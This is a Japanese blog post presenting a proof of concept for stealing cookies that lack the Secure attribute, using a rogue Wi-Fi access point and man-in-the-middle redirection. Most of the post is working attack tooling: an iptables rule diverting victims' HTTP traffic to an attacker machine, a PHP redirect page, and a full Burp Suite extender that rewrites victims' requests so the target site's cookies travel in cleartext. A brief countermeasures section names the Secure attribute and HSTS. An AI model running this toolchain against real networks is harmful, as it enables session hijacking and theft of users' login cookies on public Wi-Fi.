偽アクセスポイント接続+Secure属性不備による、Cookie取得のPoCを作ってみた

CookieにSecure属性が付与されないサイトに対し、  
被害者が偽アクセスポイントに接続することでMITMが成立すれば  
**任意のサイトへのHTTPリクエスト(GET)が送信される際に対象サイトのCookieを取得できる**  
というPoCを作ったので、覚え書きします。

[フリーWi-Fiを使ったら秘密情報を抜かれる経路にはどのようなものがあるか](https://qiita.com/ockeghem/items/c6a3602d2c2409f89fbb#cookie%E3%81%AEsecure%E5%B1%9E%E6%80%A7%E6%AC%A0%E8%90%BD )
における、「CookieのSecure属性欠落」の項目に該当します。

## 概要

1. 偽アクセスポイント: TCP80番（HTTP）を偽サーバーへ転送する。
2. 偽サーバー: 任意のHTTPリクエスト(GET)に対し、対象サイトへリダイレクトするレスポンスを返す。
3. 偽サーバー: 対象サイトへのリクエストに対し、元のサイトへリダイレクトするレスポンスを返す。（ここでCookie取得）
4. 偽サーバー: 元のサイトへのリクエストに対し、透過する。（偽装用）

### 構成

```plain
被害者PC---偽アクセスポイント---インターネット
　　　     　　　　|
　　　 (80番ポート)|
　　　     　　　　|
　　　     　　偽サーバー---インターネット
```

## 用意するもの

- PC_A1:  
    偽アクセスポイント ホットスポット・ルーティング
- PC_A2:  
    偽サーバー HTTP通信内容の確認・改竄
- PC_V1:  
    被害者

## 準備

### PC_A1

アクセスポイントを用意する。簡易のためUbuntu のWi-Fi Hotspot を使用。  
TCP80番（HTTP）を偽サーバーへ転送する。

ルーティング設定例

```sh
sudo iptables -t nat -i wlp4s0 -A PREROUTING -p tcp -s 10.42.0.0/24 --dport 80 -j DNAT --to-destination 192.168.1.14
```

192.168.1.14 は、PC_A2のip

### PC_A2

改竄を行いレスポンスを返すため用意したもの。

- レスポンス用のローカルサーバー

    パラメータに指定したURLにリダイレクトするレスポンスを返す

- Burp Extender

    1. 任意のHTTPリクエスト(GET)に対し、ローカルサーバーからレスポンスを返す。（対象サイトへリダイレクト）
    2. 対象サイトへのリクエストに対し、ローカルサーバーからレスポンスを返す。（元のサイトへリダイレクト）
    3. 1の条件を満たしたURLが2度目来たら透過する。（何もしない）

BurpSuite にてPort 80 のInvisible Proxy でListen。

## 実証

対象サイト: `www.example.com`  

1. 偽アクセスポイントに接続する
2. 対象サイトにてCookie をセットする
3. HTTPリクエストが飛ぶまでブラウジングする
4. HTTP history にてリクエストを確認する

![example.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/643344/c220ec56-c7ee-bd73-1298-a77e919af634.png)


## 対策

- Secure属性の付与
- HSTSの設定（緩和策）

## 感想

作った後にhtmlのレスポンスボディにimgタグを追加するという方法もあるのを読んだ。
作るの楽だしそれでよかったなぁ。
こちらの方が対応範囲が広い点はいいかもしれない。

HTTP通信を求めて適当にブラウジングしたとき、予想より見つからなくてよいなと思った。
（画像ではexample.com->www.example.comのものにしたけれど）

## コード

nonSecurePoC.php

```php
<?php
$url="http://localhost/";
if(isset($_GET["url"])){
    $url=$_GET["url"];
}
$url=htmlspecialchars($url,ENT_QUOTES);
header("Location: ".$url);
header('Cache-Control: no-store');
// exit();
?><HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved <A HREF="<?php echo($url);?>">here</A>.</BODY></HTML>

```

nonSecurePoCExtender.py

```py
# coding: utf-8
from burp import IBurpExtender
from burp import IHttpListener
from java.io import PrintWriter
from java.net import URL

Mock_Protocol = "http"
Mock_Host = "localhost"
Mock_Port = 8880
Mock_Path = "nonSecurePoC.php"
Mock_Url=Mock_Protocol+"://"+Mock_Host+":"+str(Mock_Port)+"/"+Mock_Path


TARGET_Protocol = "http"
TARGET_Host = "www.example.com"
TARGET_Port = 80
TARGET_Path = ""
TARGET_Url=TARGET_Protocol+"://"+TARGET_Host+":"+str(TARGET_Port)+"/"+TARGET_Path


class BurpExtender(IBurpExtender, IHttpListener):
    def __init__(self):
        self.accessUrls=[]
    #
    # implement IBurpExtender
    #
    def	registerExtenderCallbacks(self, callbacks):
        # obtain an extension helpers object
        self.helpers = callbacks.getHelpers()
        self.stdout = PrintWriter(callbacks.getStdout(), True)

        # set our extension name
        callbacks.setExtensionName("nonSecurePoC")
        
        # register ourselves as an HTTP listener
        callbacks.registerHttpListener(self)

    #
    # implement IHttpListener
    #
    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        httpService = messageInfo.getHttpService()

        if ("http" == httpService.getProtocol()):
        
            if messageIsRequest:
                requestInfo = self.helpers.analyzeRequest(httpService, messageInfo.getRequest())
                method = requestInfo.getMethod()
                url = requestInfo.getUrl().toString()
                params = requestInfo.getParameters()
                self.stdout.println(url)

                # HTTPのGETリクエストに対し処理
                if ("http" == httpService.getProtocol() and "GET"==method):
                    # 対象サイトへのリクエストの場合
                    if (TARGET_Host == httpService.getHost()):
                        flg=False
                        # 2. 1.によるリダイレクトで発生したものの場合（パラメータurlがある場合とした）
                        for param in params:
                            if "url"==param.getName():
                                url=param.getValue()      
                                flg=True 
                        if flg:                 
                            messageInfo.setHttpService(self.helpers.buildHttpService(Mock_Host,Mock_Port,Mock_Protocol))
                            messageInfo.setRequest(self.helpers.buildHttpRequest(URL(Mock_Url+"?url="+url)))
                    # 他サイトへのリクエストの場合
                    else:
                        # 3. リダイレクト済みの場合
                        if url in self.accessUrls:
                            self.accessUrls.remove(url)
                        # 1. 新規リクエストの場合
                        else:
                            self.accessUrls.append(url)
                            url2=TARGET_Url+"?url="+self.helpers.urlEncode(url)
                            messageInfo.setHttpService(self.helpers.buildHttpService(Mock_Host,Mock_Port,Mock_Protocol))
                            messageInfo.setRequest(self.helpers.buildHttpRequest(URL(Mock_Url+"?url="+self.helpers.urlEncode(url2))))
                self.stdout.println(self.accessUrls)

                return
            return
            
```